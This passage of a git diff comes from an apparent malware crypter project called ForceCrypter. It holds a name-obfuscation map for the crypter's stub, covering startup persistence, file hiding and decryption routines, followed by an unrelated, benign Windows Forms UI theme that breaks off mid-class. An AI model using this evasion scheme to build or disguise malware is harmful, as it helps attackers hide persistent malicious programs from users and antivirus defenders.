+ \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/Meanings.txt b/C# (ForceCrypter/ForceCrypterSmall/Meanings.txt new file mode 100644 index 0000000..a20893f --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Meanings.txt @@ -0,0 +1,35 @@ + +Stub: +//em = encMethod stuff +//enc = All the encryption/decryption function (ex PolyDexDecrypt key = in PolyDexDecrypt function the variable "key") +//fun = anything that is in a function (ex AddToStartup string key = a variable in the function stated named "key") +byte PolyBabyDecrypt = QMtSHObM +byte PolyDexDecrypt = nCCDlgs5 +byte StairsDecrypt = EyyzbDaLHB +void AddToStartup = TQEKIP +void HideFile = wcpiLYQLsRB +bool_startup = NfTuXbxvnS +[startup-replace] = [YpxjOfFPB] +[key-replace] = [FkSsotrjPQJ] +[encmethod-replace] = [kBfYFTdYhQmS] +[delay-replace] = [ozwFhkbJnubLk] +em string polydex = [GcUkSblPzhF] +em string polystairs = [SwsurtcRSH] +em string dex = [SgCy4ca] +em string aes = [fGaH2f] +enc StairsDecrypt byte key = gbaFhA +enc StairsDecrypt string Key = ggGhF +enc StairsDecrypt byte Data = bvg64fa + +fun AddToStartup RegisteryKey key = KcHqX +fun HideFile FileInfo f = fIg + +string encKey = GhtsF +byte fBytes = yELJS +string encMethod = Vjggum + +fun ReadManaged byte bytes = GDMQJ +fun ReadManaged ResourceManager manager = JocJH + +void ReadManaged = qNkhyYMB +class Reader = PlolzPNCHr \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/NSTheme.cs b/C# (ForceCrypter/ForceCrypterSmall/NSTheme.cs new file mode 100644 index 0000000..c5f1129 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/NSTheme.cs @@ -0,0 +1,3532 @@ +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Text; +using System.ComponentModel; +using System.Text; +using System.Collections.Generic; + +//IMPORTANT: +//Please leave these comments in place as they help protect intellectual rights and allow +//developers to determine the version of the theme they are using. The preffered method +//of distributing this theme is through the Nimoru Software home page at nimoru.com. + +//Name: Net Seal Theme +//Created: 6/21/2013 +//Version: 1.0.0.2 beta +//Site: http://nimoru.com/ + +//This work is licensed under a Creative Commons Attribution 3.0 Unported License. +//To view a copy of this license, please visit http://creativecommons.org/licenses/by/3.0/ + +//Copyright 2013 Nimoru Software + +static class ThemeModule +{ + + static ThemeModule() + { + TextBitmap = new Bitmap(1, 1); + TextGraphics = Graphics.FromImage(TextBitmap); + } + + private static Bitmap TextBitmap; + + private static Graphics TextGraphics; + static internal SizeF MeasureString(string text, Font font) + { + return TextGraphics.MeasureString(text, font); + } + + static internal SizeF MeasureString(string text, Font font, int width) + { + return TextGraphics.MeasureString(text, font, width, StringFormat.GenericTypographic); + } + + private static GraphicsPath CreateRoundPath; + + private static Rectangle CreateRoundRectangle; + static internal GraphicsPath CreateRound(int x, int y, int width, int height, int slope) + { + CreateRoundRectangle = new Rectangle(x, y, width, height); + return CreateRound(CreateRoundRectangle, slope); + } + + static internal GraphicsPath CreateRound(Rectangle r, int slope) + { + CreateRoundPath = new GraphicsPath(FillMode.Winding); + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0f, 90f); + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90f, 90f); + CreateRoundPath.CloseFigure(); + return CreateRoundPath; + } + +} + +class NSTheme : ThemeContainer154 +{ + + private int _AccentOffset = 0; + public int AccentOffset + { + get { return _AccentOffset; } + set + { + _AccentOffset = value; + Invalidate(); + } + } + + public NSTheme() + { + Header = 30; + BackColor = Color.FromArgb(50, 50, 50); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(60, 60, 60)); + + B1 = new SolidBrush(Color.FromArgb(50, 50, 50)); + } + + + protected override void ColorHook() + { + } + + + private Rectangle R1; + private Pen P1; + private Pen P2; + + private SolidBrush B1; + + private int Pad; + protected override void PaintHook() + { + G.Clear(BackColor); + DrawBorders(P2, 1); + + G.DrawLine(P1, 0, 26, Width, 26); + G.DrawLine(P2, 0, 25, Width, 25); + + Pad = Math.Max(Measure().Width + 20, 80); + R1 = new Rectangle(Pad, 17, Width - (Pad * 2) + _AccentOffset, 8); + + G.DrawRectangle(P2, R1); + G.DrawRectangle(P1, R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height); + + G.DrawLine(P1, 0, 29, Width, 29); + G.DrawLine(P2, 0, 30, Width, 30); + + DrawText(Brushes.Black, HorizontalAlignment.Left, 8, 1); + DrawText(Brushes.Cyan, HorizontalAlignment.Left, 7, 0); + + G.FillRectangle(B1, 0, 27, Width, 2); + DrawBorders(Pens.Black); + } + +} + +class NSButton : Control +{ + + public NSButton() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(65, 65, 65)); + } + + + private bool IsMouseDown; + private GraphicsPath GP1; + + private GraphicsPath GP2; + private SizeF SZ1; + + private PointF PT1; + private Pen P1; + + private Pen P2; + private PathGradientBrush PB1; + + private LinearGradientBrush GB1; + + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + if (IsMouseDown) { + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(60, 60, 60); + PB1.SurroundColors = new Color[] { Color.FromArgb(55, 55, 55) }; + PB1.FocusScales = new PointF(0.8f, 0.5f); + + G.FillPath(PB1, GP1); + } else { + GB1 = new LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + G.FillPath(GB1, GP1); + } + + G.DrawPath(P1, GP1); + G.DrawPath(P2, GP2); + + SZ1 = G.MeasureString(Text, Font); + PT1 = new PointF(5, Height / 2 - SZ1.Height / 2); + + if (IsMouseDown) { + PT1.X += 1f; + PT1.Y += 1f; + } + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(Text, Font, Brushes.Cyan, PT1); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + IsMouseDown = true; + Invalidate(); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + IsMouseDown = false; + Invalidate(); + } + +} + +class NSProgressBar : Control +{ + + private int _Minimum; + public int Minimum + { + get { return _Minimum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Minimum = value; + if (value > _Value) + _Value = value; + if (value > _Maximum) + _Maximum = value; + Invalidate(); + } + } + + private int _Maximum = 100; + public int Maximum + { + get { return _Maximum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Maximum = value; + if (value < _Value) + _Value = value; + if (value < _Minimum) + _Minimum = value; + Invalidate(); + } + } + + private int _Value; + public int Value + { + get { return _Value; } + set + { + if (value > _Maximum || value < _Minimum) + { + throw new Exception("Property value is not valid."); + } + + _Value = value; + Invalidate(); + } + } + + private void Increment(int amount) + { + Value += amount; + } + + public NSProgressBar() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + B1 = new SolidBrush(Color.FromArgb(200, 160, 0)); + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + + private GraphicsPath GP3; + private Rectangle R1; + + private Rectangle R2; + private Pen P1; + private Pen P2; + private SolidBrush B1; + private LinearGradientBrush GB1; + + private LinearGradientBrush GB2; + + private int I1; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + R1 = new Rectangle(0, 2, Width - 1, Height - 1); + GB1 = new LinearGradientBrush(R1, Color.FromArgb(45, 45, 45), Color.FromArgb(50, 50, 50), 90f); + + G.SetClip(GP1); + G.FillRectangle(GB1, R1); + + I1 = Convert.ToInt32((_Value - _Minimum) / (_Maximum - _Minimum) * (Width - 3)); + + if (I1 > 1) + { + GP3 = ThemeModule.CreateRound(1, 1, I1, Height - 3, 7); + + R2 = new Rectangle(1, 1, I1, Height - 3); + GB2 = new LinearGradientBrush(R2, Color.FromArgb(205, 150, 0), Color.FromArgb(150, 110, 0), 90f); + + G.FillPath(GB2, GP3); + G.DrawPath(P1, GP3); + + G.SetClip(GP3); + G.SmoothingMode = SmoothingMode.None; + + G.FillRectangle(B1, R2.X, R2.Y + 1, R2.Width, R2.Height / 2); + + G.SmoothingMode = SmoothingMode.AntiAlias; + G.ResetClip(); + } + + G.DrawPath(P2, GP1); + G.DrawPath(P1, GP2); + } + +} + +class NSLabel : Control +{ + + public NSLabel() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Font = new Font("Segoe UI", 11.25f, FontStyle.Bold); + + B1 = new SolidBrush(Color.FromArgb(205, 150, 0)); + } + + private string _Value1 = "NET"; + public string Value1 + { + get { return _Value1; } + set + { + _Value1 = value; + Invalidate(); + } + } + + private string _Value2 = "SEAL"; + public string Value2 + { + get { return _Value2; } + set + { + _Value2 = value; + Invalidate(); + } + } + + + private SolidBrush B1; + private PointF PT1; + private PointF PT2; + private SizeF SZ1; + + private SizeF SZ2; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + + SZ1 = G.MeasureString(Value1, Font, Width, StringFormat.GenericTypographic); + SZ2 = G.MeasureString(Value2, Font, Width, StringFormat.GenericTypographic); + + PT1 = new PointF(0, Height / 2 - SZ1.Height / 2); + PT2 = new PointF(SZ1.Width + 1, Height / 2 - SZ1.Height / 2); + + G.DrawString(Value1, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(Value1, Font, Brushes.Cyan, PT1); + + G.DrawString(Value2, Font, Brushes.Black, PT2.X + 1, PT2.Y + 1); + G.DrawString(Value2, Font, B1, PT2); + } + +} + +[DefaultEvent("TextChanged")] +class NSTextBox : Control +{ + + private HorizontalAlignment _TextAlign = HorizontalAlignment.Left; + public HorizontalAlignment TextAlign + { + get { return _TextAlign; } + set + { + _TextAlign = value; + if (Base != null) + { + Base.TextAlign = value; + } + } + } + + private int _MaxLength = 32767; + public int MaxLength + { + get { return _MaxLength; } + set + { + _MaxLength = value; + if (Base != null) + { + Base.MaxLength = value; + } + } + } + + private bool _ReadOnly; + public bool ReadOnly + { + get { return _ReadOnly; } + set + { + _ReadOnly = value; + if (Base != null) + { + Base.ReadOnly = value; + } + } + } + + private bool _UseSystemPasswordChar; + public bool UseSystemPasswordChar + { + get { return _UseSystemPasswordChar; } + set + { + _UseSystemPasswordChar = value; + if (Base != null) + { + Base.UseSystemPasswordChar = value; + } + } + } + + private bool _Multiline; + public bool Multiline + { + get { return _Multiline; } + set + { + _Multiline = value; + if (Base != null) + { + Base.Multiline = value; + + if (value) + { + Base.Height = Height - 11; + } + else + { + Height = Base.Height + 11; + } + } + } + } + + public override string Text + { + get { return base.Text; } + set + { + base.Text = value; + if (Base != null) + { + Base.Text = value; + } + } + } + + public override Font Font + { + get { return base.Font; } + set + { + base.Font = value; + if (Base != null) + { + Base.Font = value; + Base.Location = new Point(5, 5); + Base.Width = Width - 8; + + if (!_Multiline) + { + Height = Base.Height + 11; + } + } + } + } + + protected override void OnHandleCreated(EventArgs e) + { + if (!Controls.Contains(Base)) + { + Controls.Add(Base); + } + + base.OnHandleCreated(e); + } + + private TextBox Base; + public NSTextBox() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, true); + + Cursor = Cursors.IBeam; + + Base = new TextBox(); + Base.Font = Font; + Base.Text = Text; + Base.MaxLength = _MaxLength; + Base.Multiline = _Multiline; + Base.ReadOnly = _ReadOnly; + Base.UseSystemPasswordChar = _UseSystemPasswordChar; + + Base.ForeColor = Color.Cyan; + Base.BackColor = Color.FromArgb(50, 50, 50); + + Base.BorderStyle = BorderStyle.None; + + Base.Location = new Point(5, 5); + Base.Width = Width - 14; + + if (_Multiline) + { + Base.Height = Height - 11; + } + else + { + Height = Base.Height + 11; + } + + Base.TextChanged += OnBaseTextChanged; + Base.KeyDown += OnBaseKeyDown; + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + private Pen P1; + private Pen P2; + + private PathGradientBrush PB1; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors = new Color[]{ Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.9f, 0.5f); + + G.FillPath(PB1, GP1); + + G.DrawPath(P2, GP1); + G.DrawPath(P1, GP2); + } + + private void OnBaseTextChanged(object s, EventArgs e) + { + Text = Base.Text; + } + + private void OnBaseKeyDown(object s, KeyEventArgs e) + { + if (e.Control && e.KeyCode == Keys.A) + { + Base.SelectAll(); + e.SuppressKeyPress = true; + } + } + + protected override void OnResize(EventArgs e) + { + Base.Location = new Point(5, 5); + + Base.Width = Width - 10; + Base.Height = Height - 11; + + base.OnResize(e); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + Base.Focus(); + base.OnMouseDown(e); + } + + protected override void OnEnter(EventArgs e) + { + Base.Focus(); + Invalidate(); + base.OnEnter(e); + } + + protected override void OnLeave(EventArgs e) + { + Invalidate(); + base.OnLeave(e); + } + +} + +[DefaultEvent("CheckedChanged")] +class NSCheckBox : Control +{ + + public event CheckedChangedEventHandler CheckedChanged; + public delegate void CheckedChangedEventHandler(object sender); + + public NSCheckBox() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P11 = new Pen(Color.FromArgb(55, 55, 55)); + P22 = new Pen(Color.FromArgb(35, 35, 35)); + P3 = new Pen(Color.Black, 2f); + P4 = new Pen(Color.Cyan, 2f); + } + + private bool _Checked; + public bool Checked + { + get { return _Checked; } + set + { + _Checked = value; + if (CheckedChanged != null) + { + CheckedChanged(this); + } + + Invalidate(); + } + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + private SizeF SZ1; + + private PointF PT1; + private Pen P11; + private Pen P22; + private Pen P3; + + private Pen P4; + + private PathGradientBrush PB1; + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 2, Height - 5, Height - 5, 5); + GP2 = ThemeModule.CreateRound(1, 3, Height - 7, Height - 7, 5); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors =new Color[] { Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.3f, 0.3f); + + G.FillPath(PB1, GP1); + G.DrawPath(P11, GP1); + G.DrawPath(P22, GP2); + + if (_Checked) { + G.DrawLine(P3, 5, Height - 9, 8, Height - 7); + G.DrawLine(P3, 7, Height - 7, Height - 8, 7); + + G.DrawLine(P4, 4, Height - 10, 7, Height - 8); + G.DrawLine(P4, 6, Height - 8, Height - 9, 6); + } + + SZ1 = G.MeasureString(Text, Font); + PT1 = new PointF(Height - 3, Height / 2 - SZ1.Height / 2); + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(Text, Font, Brushes.Cyan, PT1); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + Checked = !Checked; + } + +} + +[DefaultEvent("CheckedChanged")] +class NSRadioButton : Control +{ + + public event CheckedChangedEventHandler CheckedChanged; + public delegate void CheckedChangedEventHandler(object sender); + + public NSRadioButton() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P1 = new Pen(Color.FromArgb(55, 55, 55)); + P2 = new Pen(Color.FromArgb(35, 35, 35)); + } + + private bool _Checked; + public bool Checked + { + get { return _Checked; } + set + { + _Checked = value; + + if (_Checked) + { + InvalidateParent(); + } + + if (CheckedChanged != null) + { + CheckedChanged(this); + } + Invalidate(); + } + } + + private void InvalidateParent() + { + if (Parent == null) + return; + + foreach (Control C in Parent.Controls) + { + if ((!object.ReferenceEquals(C, this)) && (C is NSRadioButton)) + { + ((NSRadioButton)C).Checked = false; + } + } + } + + + private GraphicsPath GP1; + private SizeF SZ1; + + private PointF PT1; + private Pen P1; + + private Pen P2; + + private PathGradientBrush PB1; + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = new GraphicsPath(); + GP1.AddEllipse(0, 2, Height - 5, Height - 5); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors = new Color[]{ Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.3f, 0.3f); + + G.FillPath(PB1, GP1); + + G.DrawEllipse(P1, 0, 2, Height - 5, Height - 5); + G.DrawEllipse(P2, 1, 3, Height - 7, Height - 7); + + if (_Checked) { + G.FillEllipse(Brushes.Black, 6, 8, Height - 15, Height - 15); + G.FillEllipse(Brushes.Cyan, 5, 7, Height - 15, Height - 15); + } + + SZ1 = G.MeasureString(Text, Font); + PT1 = new PointF(Height - 3, Height / 2 - SZ1.Height / 2); + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(Text, Font, Brushes.Cyan, PT1); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + Checked = true; + base.OnMouseDown(e); + } + +} + +class NSComboBox : ComboBox +{ + + public NSComboBox() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + DropDownStyle = ComboBoxStyle.DropDownList; + + BackColor = Color.FromArgb(50, 50, 50); + ForeColor = Color.Cyan; + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.Cyan, 2f); + P3 = new Pen(Brushes.Black, 2f); + P4 = new Pen(Color.FromArgb(65, 65, 65)); + + B1 = new SolidBrush(Color.FromArgb(65, 65, 65)); + B2 = new SolidBrush(Color.FromArgb(55, 55, 55)); + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + private SizeF SZ1; + + private PointF PT1; + private Pen P1; + private Pen P2; + private Pen P3; + private Pen P4; + private SolidBrush B1; + + private SolidBrush B2; + + private LinearGradientBrush GB1; + private Graphics G; + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + GB1 = new LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + G.SetClip(GP1); + G.FillRectangle(GB1, ClientRectangle); + G.ResetClip(); + + G.DrawPath(P1, GP1); + G.DrawPath(P4, GP2); + + SZ1 = G.MeasureString(Text, Font); + PT1 = new PointF(5, Height / 2 - SZ1.Height / 2); + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(Text, Font, Brushes.Cyan, PT1); + + G.DrawLine(P3, Width - 15, 10, Width - 11, 13); + G.DrawLine(P3, Width - 7, 10, Width - 11, 13); + G.DrawLine(Pens.Black, Width - 11, 13, Width - 11, 14); + + G.DrawLine(P2, Width - 16, 9, Width - 12, 12); + G.DrawLine(P2, Width - 8, 9, Width - 12, 12); + G.DrawLine(Pens.Cyan, Width - 12, 12, Width - 12, 13); + + G.DrawLine(P1, Width - 22, 0, Width - 22, Height); + G.DrawLine(P4, Width - 23, 1, Width - 23, Height - 2); + G.DrawLine(P4, Width - 21, 1, Width - 21, Height - 2); + } + + protected override void OnDrawItem(DrawItemEventArgs e) + { + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + if ((e.State & DrawItemState.Selected) == DrawItemState.Selected) + { + e.Graphics.FillRectangle(B1, e.Bounds); + } + else + { + e.Graphics.FillRectangle(B2, e.Bounds); + } + + if (!(e.Index == -1)) + { + e.Graphics.DrawString(GetItemText(Items[e.Index]), e.Font, Brushes.Cyan, e.Bounds); + } + } + +} + +class NSTabControl : TabControl +{ + + public NSTabControl() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + SizeMode = TabSizeMode.Fixed; + Alignment = TabAlignment.Left; + ItemSize = new Size(28, 115); + + DrawMode = TabDrawMode.OwnerDrawFixed; + + P1 = new Pen(Color.FromArgb(55, 55, 55)); + P2 = new Pen(Color.FromArgb(35, 35, 35)); + P3 = new Pen(Color.FromArgb(45, 45, 45), 2); + + B1 = new SolidBrush(Color.FromArgb(50, 50, 50)); + B2 = new SolidBrush(Color.FromArgb(35, 35, 35)); + B3 = new SolidBrush(Color.FromArgb(205, 150, 0)); + B4 = new SolidBrush(Color.FromArgb(65, 65, 65)); + + SF1 = new StringFormat(); + SF1.LineAlignment = StringAlignment.Center; + } + + protected override void OnControlAdded(ControlEventArgs e) + { + if (e.Control is TabPage) + { + e.Control.BackColor = Color.FromArgb(50, 50, 50); + } + + base.OnControlAdded(e); + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + private GraphicsPath GP3; + + private GraphicsPath GP4; + private Rectangle R1; + + private Rectangle R2; + private Pen P1; + private Pen P2; + private Pen P3; + private SolidBrush B1; + private SolidBrush B2; + private SolidBrush B3; + + private SolidBrush B4; + + private PathGradientBrush PB1; + private TabPage TP1; + + private StringFormat SF1; + private int Offset; + + private int ItemHeight; + private Graphics G; + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(Color.FromArgb(50, 50, 50)); + G.SmoothingMode = SmoothingMode.AntiAlias; + + ItemHeight = ItemSize.Height + 2; + + GP1 = ThemeModule.CreateRound(0, 0, ItemHeight + 3, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, ItemHeight + 3, Height - 3, 7); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors = new Color[] { Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.8f, 0.95f); + + G.FillPath(PB1, GP1); + + G.DrawPath(P1, GP1); + G.DrawPath(P2, GP2); + + for (int I = 0; I <= TabCount - 1; I++) { + R1 = GetTabRect(I); + R1.Y += 2; + R1.Height -= 3; + R1.Width += 1; + R1.X -= 1; + + TP1 = TabPages[I]; + Offset = 0; + + if (SelectedIndex == I) { + G.FillRectangle(B1, R1); + + for (int J = 0; J <= 1; J++) { + G.FillRectangle(B2, R1.X + 5 + (J * 5), R1.Y + 6, 2, R1.Height - 9); + + G.SmoothingMode = SmoothingMode.None; + G.FillRectangle(B3, R1.X + 5 + (J * 5), R1.Y + 5, 2, R1.Height - 9); + G.SmoothingMode = SmoothingMode.AntiAlias; + + Offset += 5; + } + + G.DrawRectangle(P3, R1.X + 1, R1.Y - 1, R1.Width, R1.Height + 2); + G.DrawRectangle(P1, R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2); + G.DrawRectangle(P2, R1); + } else { + for (int J = 0; J <= 1; J++) { + G.FillRectangle(B2, R1.X + 5 + (J * 5), R1.Y + 6, 2, R1.Height - 9); + + G.SmoothingMode = SmoothingMode.None; + G.FillRectangle(B4, R1.X + 5 + (J * 5), R1.Y + 5, 2, R1.Height - 9); + G.SmoothingMode = SmoothingMode.AntiAlias; + + Offset += 5; + } + } + + R1.X += 5 + Offset; + + R2 = R1; + R2.Y += 1; + R2.X += 1; + + G.DrawString(TP1.Text, Font, Brushes.Black, R2, SF1); + G.DrawString(TP1.Text, Font, Brushes.Cyan, R1, SF1); + } + + GP3 = ThemeModule.CreateRound(ItemHeight, 0, Width - ItemHeight - 1, Height - 1, 7); + GP4 = ThemeModule.CreateRound(ItemHeight + 1, 1, Width - ItemHeight - 3, Height - 3, 7); + + G.DrawPath(P2, GP3); + G.DrawPath(P1, GP4); + } + +} + +[DefaultEvent("CheckedChanged")] +class NSOnOffBox : Control +{ + + public event CheckedChangedEventHandler CheckedChanged; + public delegate void CheckedChangedEventHandler(object sender); + + public NSOnOffBox() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P1 = new Pen(Color.FromArgb(55, 55, 55)); + P2 = new Pen(Color.FromArgb(35, 35, 35)); + P3 = new Pen(Color.FromArgb(65, 65, 65)); + + B1 = new SolidBrush(Color.FromArgb(35, 35, 35)); + B2 = new SolidBrush(Color.FromArgb(85, 85, 85)); + B3 = new SolidBrush(Color.FromArgb(65, 65, 65)); + B4 = new SolidBrush(Color.FromArgb(205, 150, 0)); + B5 = new SolidBrush(Color.FromArgb(40, 40, 40)); + + SF1 = new StringFormat(); + SF1.LineAlignment = StringAlignment.Center; + SF1.Alignment = StringAlignment.Near; + + SF2 = new StringFormat(); + SF2.LineAlignment = StringAlignment.Center; + SF2.Alignment = StringAlignment.Far; + + Size = new Size(56, 24); + MinimumSize = Size; + MaximumSize = Size; + } + + private bool _Checked; + public bool Checked + { + get { return _Checked; } + set + { + _Checked = value; + if (CheckedChanged != null) + { + CheckedChanged(this); + } + + Invalidate(); + } + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + private GraphicsPath GP3; + + private GraphicsPath GP4; + private Pen P1; + private Pen P2; + private Pen P3; + private SolidBrush B1; + private SolidBrush B2; + private SolidBrush B3; + private SolidBrush B4; + + private SolidBrush B5; + private PathGradientBrush PB1; + + private LinearGradientBrush GB1; + private Rectangle R1; + private Rectangle R2; + private Rectangle R3; + private StringFormat SF1; + + private StringFormat SF2; + + private int Offset; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors = new Color[]{ Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.3f, 0.3f); + + G.FillPath(PB1, GP1); + G.DrawPath(P1, GP1); + G.DrawPath(P2, GP2); + + R1 = new Rectangle(5, 0, Width - 10, Height + 2); + R2 = new Rectangle(6, 1, Width - 10, Height + 2); + + R3 = new Rectangle(1, 1, (Width / 2) - 1, Height - 3); + + if (_Checked) { + G.DrawString("On", Font, Brushes.Black, R2, SF1); + G.DrawString("On", Font, Brushes.Cyan, R1, SF1); + + R3.X += (Width / 2) - 1; + } else { + G.DrawString("Off", Font, B1, R2, SF2); + G.DrawString("Off", Font, B2, R1, SF2); + } + + GP3 = ThemeModule.CreateRound(R3, 7); + GP4 = ThemeModule.CreateRound(R3.X + 1, R3.Y + 1, R3.Width - 2, R3.Height - 2, 7); + + GB1 = new LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + + G.FillPath(GB1, GP3); + G.DrawPath(P2, GP3); + G.DrawPath(P3, GP4); + + Offset = R3.X + (R3.Width / 2) - 3; + + for (int I = 0; I <= 1; I++) { + if (_Checked) { + G.FillRectangle(B1, Offset + (I * 5), 7, 2, Height - 14); + } else { + G.FillRectangle(B3, Offset + (I * 5), 7, 2, Height - 14); + } + + G.SmoothingMode = SmoothingMode.None; + + if (_Checked) { + G.FillRectangle(B4, Offset + (I * 5), 7, 2, Height - 14); + } else { + G.FillRectangle(B5, Offset + (I * 5), 7, 2, Height - 14); + } + + G.SmoothingMode = SmoothingMode.AntiAlias; + } + } + + protected override void OnMouseDown(MouseEventArgs e) + { + Checked = !Checked; + base.OnMouseDown(e); + } + +} + +class NSControlButton : Control +{ + + public enum Button : byte + { + None = 0, + Minimize = 1, + MaximizeRestore = 2, + Close = 3 + } + + private Button _ControlButton = Button.Close; + public Button ControlButton + { + get { return _ControlButton; } + set + { + _ControlButton = value; + 